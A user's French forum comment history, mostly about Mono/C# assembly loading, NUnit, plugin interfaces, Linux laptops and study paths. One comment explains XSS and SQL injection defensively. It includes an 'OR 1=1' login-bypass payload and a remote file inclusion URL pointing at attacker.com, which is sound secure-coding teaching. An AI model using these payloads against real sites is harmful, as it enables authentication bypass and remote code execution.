jusob a écrit 45 commentaires

  • [^] # Re: quelques pistes

    Posté par  . En réponse au message GAC: problème avec plusieurs versions d'une assembly. Évalué à 1.

    Comment mettre log4net dans le GAC 2.0? Je n'ai pas vu l'option qui permet de hoisir la version. Et je n'ai qu'un fichier gacutil.exe dans /usr/lib/mono/1.0, rien dans 2.0
  • [^] # Re: quelques pistes

    Posté par  . En réponse au message GAC: problème avec plusieurs versions d'une assembly. Évalué à 1.

    En fait, la compilation fonctionne,mais pas l'executionde l'assembly:

    ** (/usr/lib/mono/1.0/nunit-console.exe:9255): WARNING **: The following assembly referenced from ...bin/tests/TestDatabaseAccess.dll could not be loaded:
    Assembly: log4net (assemblyref_index=1)
    Version: 1.2.9.0
    Public Key: b32731d11ce58905

    Et pourtant:

    $ gacutil -l|grep log4net
    log4net, Version=1.2.9.0, Culture=neutral, PublicKeyToken=b32731d11ce58905

    J'utilise lib/mono/2.0/gmcs.exe

    Je vais essayer de recompiler log4net
  • [^] # Re: quelques pistes

    Posté par  . En réponse au message GAC: problème avec plusieurs versions d'une assembly. Évalué à 1.

    Merci

    J'ai modifier NAnt.exe.config pour utiliser gmcs plutot que msc, et ca marche
  • # Possible d'acheter dans OS

    Posté par  . En réponse au journal Remboursement Windows: ASUS. Évalué à 3.

    Je rappelle qu'Asus vend des portables "nus" (coque + écran + carte mère + carte graphique seulement, pas de RAM, processeur, HD, ..). Dans ce cas, aucun OS nést vendu avec, évidemment. Voir z71v et z71a (marchent très bien sous Linux)


    Cela permet de se construire son propre portable à un prix plus faible que les portables tout prêt. Mais il est également facile de trouver un revendeur qui vous installera tout.
  • # Asus?

    Posté par  . En réponse au message Ordinateur portable et linux. Évalué à 1.

    Asus vend des portables avec coque, écran, carte mère et carte graphique uniquement. Souvent, le revendeur propose les élements manquants (processeur RAM, HD, ...) installés ou bien tu peux acheter indépendamment.

    Facile donc d'acheter sans OS. Prix très competitif, extrèmement personnalisable. J'ai un Asus z71v, tout marche sous Linux. le z71A (bas de gamme), quasi identique au z71v, devrait parfaitement fonctionner egalement. Et ces 2 portables dont de très bon écrans.
  • [^] # Re: Non mais OH ! Halte ! Garde a vous !

    Posté par  . En réponse au journal Vers un monopole supplementaire. Évalué à 10.

    Si, parfaitement recevable. PAr exemple, mon Archos permet l'ajout de fichiers sans passer passer une application tierce. A la fin du transfert, quand on enlève le câble USB, il scanne (très rapidement) le disque dur et met à jhour toutes les playlist. ¨mes morceaux s'enchainent sans aucune transition, le parcours de ma bibliothèque musicale est particulièrement rapide et encore une fois sans transition, et il m'est possible de selectionner des morceaux sur tout un tas de critère" sans passer obligatoirement par un logiciel.

    D'ailleurs, c'est dommage qu'Archos ne soit pas plus reconnu: leur lecteurs MP3 et videos sont plus petit que les concurrents, bien souvent moins chers, et j'adore leur interface et design.
  • # methodes privees

    Posté par  . En réponse au message Exemple concret avec NUnit. Évalué à 1.

    Merci pour lesl iens, ca m'a permis de mieux comprendre le fonctionnement de NUnit.

    Par contre, je me demande comment tester les methodes privees:
    * faire un build special dans lequel on met toutes les methodes en public
    * autre chose?
  • # Mauvais endroit!

    Posté par  . En réponse au message Exemple concret avec NUnit. Évalué à 1.

    Argh, je voulais mettre ca dans le formu programmation.c#!

    Désolé
  • [^] # Re: chezmoicamarche.org

    Posté par  . En réponse au message Custom attributes: le retour :-(. Évalué à 1.


    Visiblement tu compiles ton plugin avec le source de l'attribute, puis tu recompiles le programme qui cherche les plugins avec ce même source... je me trompes ?
    Donc du coup chacun a sa version de la définition, et malgrès le partage de source, le CLR (Common Langage Runtime, autrement dit l'environnement d'exécution, plus comunément appelé machine virtuelle, qui se lance avec la commande mono) voit 2 versions différentes (ils ont chacuns un numéro de version, etc.)


    C'est exactement ca, apparemment. Merci beaucoup

    Par contre, je ne comprends pas tous les details du probleme. Cela siginifie que la definition de AssemblyDependencies n'est pas la meme pour les differents programmes car au moment ou se fait la compilation (ou l'execution?), une version differente est donnee a AssemblyDependencies par chaque (instance de ?) programme? Bug ou feature? :-)

    J'ai fait tout ce que tu as indique, et ca marche bien, a 2 details pres:
    * l'exe et Plugin.dll doivent etre compiles avec le source code de PluginInterface. Mettre ce code dans une dll commune (avec les defs) ne fonctionne pas: "Cannot find type PluginInterface" a la compilation. Du coup, je retombe sur ce probleme quand dans l'exe j'essaye de voir si Plugin.dll implemente l'interface PluginInterface. Commen regler ca?

    * MonAppliQuiContientLesDefs.dll doit etre dans le meme repertoire que l'exe au lancement. J'imagine que c'est uniquement un probleme de library path, je regarderai ca plus tard.


    Merci beaucoup pour l'aide.
  • [^] # Re: chezmoicamarche.org

    Posté par  . En réponse au message Custom attributes: le retour :-(. Évalué à 1.

    J'ai oublie de preciser que cela marche par contre tres bien auand j'essaye d'obtenir l'information a l'interieur de Plugin.dll
  • [^] # Re: chezmoicamarche.org

    Posté par  . En réponse au message Custom attributes: le retour :-(. Évalué à 1.


    Effectivement tu n'as pas bien compris le schmurck :)
    Premièrement c'est normale le is null, tu fais ton test dans une boucle foreach, et tu peux très bien trouvé tout pleins d'autres attributes uqi ne sont pas les tiens.

    Je sais, le probleme est que AssemblyDependencies est egalement null.


    En tout cas chez moi j'ai essayé ton attribute dans une dll, et j'ai testé avec ca :
    Assembly asm = Assembly.LoadFrom("plugin.dll");
    Attribute[] attributes = Attribute.GetCustomAttributes(asm);

    foreach(Attribute attribute in attributes)
    {
    if (attribute is AssemblyDependencies)
    {
    Console.WriteLine("trouvé !");
    AssemblyDependencies ds = (AssemblyDependencies)attribute;
    foreach(string s in ds.Dependencies.Keys) Console.WriteLine(s+" : "+ds.Dependencies[s]);
    }
    }

    et ma fois ca marche nickel, j'obtiens ca en résultat :
    trouvé !
    aa : 1.0.0.0
    ee : 1.0.0.0

    Merci beaucoup d'avoir teste. mais chez moi, ca ne marche toujours pas avec le code que tu as donne!
    Faut-il compiler le plugin avec certaines otpions? J'ai juste fait "mcs -target:library Plugin.cs ../PluginInterface.cs ../Session.cs"Faut-il utiliser


    Sinon plutôt que de faire un attribute avec un nombre variable d'argument, tu peux aussi en mettre que 2, nom+version, et proposer à l'utilisateur de mettre plusieurs fois l'attribut s'il veut multiplié les dependances.

    C'est note


    Ah oui aussi je sais pas trop ce que tu veux faire, mais la gestion des dépendances d'habitudes c'est un obulot réservé au CLR, et tu n'as absolument rien à faire pour les gérer mais bon :)

    CLR?
  • # monodis

    Posté par  . En réponse au message Custom attributes: le retour :-(. Évalué à 1.

    Voilà ce que me donne la commande "monodis Plugin.dll":

    .assembly extern mscorlib
    {
    .ver 1:0:5000:0
    }
    .assembly 'Plugin'
    {
    .custom instance void class [mscorlib]System.Reflection.AssemblyTitleAttribute::.ctor(string) = (
    01 00 18 4A 75 6C 69 65 6E 53 6F 62 72 69 65 72 // ...JulienSobrier
    46 69 72 73 74 50 6C 75 67 69 6E 00 00 ) // FirstPlugin..

    .custom instance void class AssemblyEventsTrigger::.ctor(string[]) = (
    01 00 02 00 00 00 07 6F 6E 53 74 61 72 74 06 6F // .......onStart.o
    6E 53 74 6F 70 00 00 ) // nStop..

    .custom instance void class AssemblyDependencies::.ctor(string[]) = (
    01 00 04 00 00 00 02 65 65 07 31 2E 30 2E 30 2E // .......ee.1.0.0.
    30 02 61 61 07 31 2E 30 2E 30 2E 30 00 00 ) // 0.aa.1.0.0.0..

    .hash algorithm 0x00008004
    .ver 0:1:1:1
    }
    [...]
  • [^] # Re: en utilisant la propriété qui va bien ?

    Posté par  . En réponse au message Assembly: custom attributes. Évalué à 1.

    Merci

    Mais ca implique qu'au moment ou j'ecris le programme, je sais que je peux tomber sur System.Reflection.AssemblyCompanyAttribute.

    Si la DLL contient [assembly:AssemblyXXXX("YYYY")], avec XXX non connu a l'avance, comment puis-je modifier le code que tu donnes?
  • [^] # Re: Type.GetInterfaces()

    Posté par  . En réponse au message Problème avec IsSubclassOf. Évalué à 1.

    Merci. J'ai finalement réussi à (presque!) régler mon problème.

    Je rebondis sur ton code: quel logiciel utilises-tu sous Linux pour extraire la donc de ton source code?
  • [^] # Re: Type.GetInterfaces()

    Posté par  . En réponse au message Problème avec IsSubclassOf. Évalué à 1.

    pluginList.Add((PluginInterface) Activator.CreateInstance(type));


    Je me rends compte que c'est pas très malin: je veux créer une nouvelle instance d'une interface!!

    Voilà ce que je voulais faire de façon plus générale:
    j'ai un core qui charge des DLL fait par d'autres personnes. Je compte donc mettre à disposition une interface PluginInterface que chaque DLL devrait implémenter.
    Mais je me rends compte que si je veux traiter chaque DLL en tant que PluginInterface, PluginInterface devrait être une classe putôt qu'une interface, non?
  • [^] # Re: Type.GetInterfaces()

    Posté par  . En réponse au message Problème avec IsSubclassOf. Évalué à 1.

    // check if this dll inherits PluginInterface
    foreach (Type type in asm.GetTypes())
    {
    // we're interested in the interface
    foreach(Type intrfce in type.GetInterfaces())
    {
    if (intrfce == typeof(PluginInterface))
    {
    Console.WriteLine("and this is a plugin");
    pluginList.Add((PluginInterface) Activator.CreateInstance(type));
    }
    else
    Console.WriteLine("but this is NOT a plugin ({0} != {1})", intrfce, typeof(PluginInterface));
    }
    }
  • [^] # Re: Type.GetInterfaces()

    Posté par  . En réponse au message Problème avec IsSubclassOf. Évalué à 1.

    Merci pour le code

    if(i == typeof(System.Collections.ICollection))


    Je pense que je dois remplacer cette ligne par:
    if (i == typeof(PluginInterface))

    Mais cela donne toujours fase:
    Console.WriteLine("but this is NOT a plugin ({0}) ({1})", i, typeof(PluginInterface)) =>
    but this is NOT a plugin (PluginInterface) (PluginInterface)
  • [^] # Re: BTS ou DUT

    Posté par  . En réponse au journal Epitech quelle est votre avis ?. Évalué à 3.

    l'avantage de l'Epitech, c'est que tu ne fais vraiment QUE de l'informatique (et pas davantage de la physique et des maths comme dans certaines autres écoles)



    Pas de maths!!!!!! Pour de l'informatique, ca semble embetant!
  • # XSS, SQL injection

    Posté par  . En réponse au message Développement "propre".. Évalué à 3.

    J'entends souvent parler de XSS, SQL injection et tout ce bazard sans réellement savoir ce que c'est et surtout comment s'en protéger.


    XSS = Cross Site Scripting

    XSS et SQL Injection repose sur le meme probleme: le filtrage des entrees utilisateur.

    XSS: ton site possede par exemple une parti wiki ou les utilisateurs peuvent ajouter du texte. Il te faut absoluemnt eviter que l'utilisateur puisse faire afficher du code malicieux (Javascript, ActiveX, ...) sur un le navigateur d'un utilisateur qui regardera la page modifiee.

    SQL Injection: ton site posse, par exemple, unge page pour entrer ton login et ton mot de passe. Tu passes tes donnes a une requete du style:
    SELECT * FROM Users WHERE login="$login" AND password="$password" ($login et $password sont donnees par l'utilisateur)
    Si un utilisateur rentre par exemple:
    login: moi" OR 1=1 OR 1="
    password: toi" OR 1=1 OR 1="

    La requeste devient alors:
    SELECT * FORM Users WHERE login="moi" OR 1=1 OR 1="" AND password="toi" OR 1=1 OR 1=""

    Comme 1=1 est toujours vrai (seul le dernier 1=1 dans la requete precedente peut suffire), la requete se resule a SELECT * FORM Users

    Dans les 2 cas, il faut faire filtrer ce que peut rentrer l'utilisateur. 2 methodes:
    * interdire certains caracteres => mauvaise methode car "tu ne sais pas ce que tu ne sais pas!". Il est impossible de connaitre l'ensemble (potentiellement infini) des combinaisons dangereuses. Voir les problemes qu'il y a peu avoir avec l'encode Unicode par exemple
    * authoriser certains caracteres seulement => a-z, A-Z, 0-9 par exemple

    Quelques autres erreurs/recommandations classiques:
    * laisser des fichiers sensibles en lecture pour tout le mode
    Peut etre eviter en verifiant les droits, et en ajoutant systematiquement l'extension .php (si programmation PHP) a un fichier. Comme ca, si on tente d'y acceder, le contenu sera interprete comme du code PHP, et n'affichera vraisemblablement rien
    * des URL du type index.php?file=data/page1.php (pour charger la page data/page1.php)
    Cela permettrait sans doute de contourner les permissions sur les fichiers pour lire n'importe quoi, mais aussi de faire interpreter n'importe quelle page avec les droits locaux: index.php?file=http://attacker.com/download-all.php(...)
    * il est recommender de crypter les donnes si possible, dans un "sens unique"
    Comme pour le fichier /etc/passwd, encrypter sans possiblilte de decrypter les login et passowrd
    * Ne pas imaginer que les donnes envoyees en POST sont invisibles a l'utilisateur sous pretexte que cela ne s'affiche pas dans l'URL
    * ne pas afficher les erreurs PHP qui pourraient donner trop d'informations sur la configuration
    On voit des messages du type: ERROR: cannot open /home/web/~website/lib/file.inc.php
    * ...

    Apres, rien ne sert de securiser l'application si le serveur (MySQ, Apache, OS, ...) n'est pa securise lui-meme: Apache avec les droits root ou ayant acces a tout le systeme (pas de chroot), failles de securite connues, ...
  • [^] # Re: NdisWrapper ?

    Posté par  . En réponse au journal Experience: quel carte wireless pour Linux. Évalué à 1.

    Essaye egalement, sans success pour l'instant.
    Et sur la page donnee en lien, une DWL-650 est indiquee comme fonctionnant avec ndiswrapper. Mais quelle revision? D-link donnent 6 revisionas differentes pour le meme modele!
  • # desole

    Posté par  . En réponse au journal Experience: quel carte wireless pour Linux. Évalué à 2.

    quelLE carte wireless pour Linux?
  • [^] # Re: Améliorer plutôt les alternatives

    Posté par  . En réponse à la dépêche Sendmail X : vers une réécriture majeure. Évalué à 1.

    Il ne faut pas oublier que SendMail, c'est aussi une societe de services qui emploie plusieurs salaries. Eux, au moins, n'ont pas envoie de laisser le logiciel mourir!
  • [^] # Re: place commercials here

    Posté par  . En réponse au message Orientation en informatique. Évalué à 2.

    Le passage le plus dur de la prepa est le passage en spé puisque le redoublement est interdit!

    Pa contre, il est possible de passer dans une autre sup (MPSI, puis PTSI par exemple) si on est pas accepte en SPE.
  • [^] # Re: Trouve ton chemin

    Posté par  . En réponse au message Orientation en informatique. Évalué à 2.

    Exactement!

    Quand j'etais en terminales, 4 eleves au total sont alles en prepas. Le discours de la prof de maths: "Moi, j'y susi pas arrive, alors vous, vousl allez meme pas etre accepte, arretez de rever!". BIlan, on a non-seulem,ent etaient acceptes, mais on a passe les concours, et on a eu de "bonnes" ecoles. Certes, pas X ou Centrale, mais il existent beaucoup d'autres "bonnes" ecoles.

    Donc se mefier des profs, surtout que leur experiences de la prepa est ancienne.

    (ca me fait plaisir de parler de la prepa, surtout parce que c'est termine :-) )
  • [^] # Re: les prepas

    Posté par  . En réponse au message Orientation en informatique. Évalué à 1.

    Un autre details: il est theoriauement possible de passer de PTSI en PSI, mais c'est en pratique peu courant. Il faut te resneigner avec tes profs, vu que ce sont eux aui decideront de cet eventuel "transfert".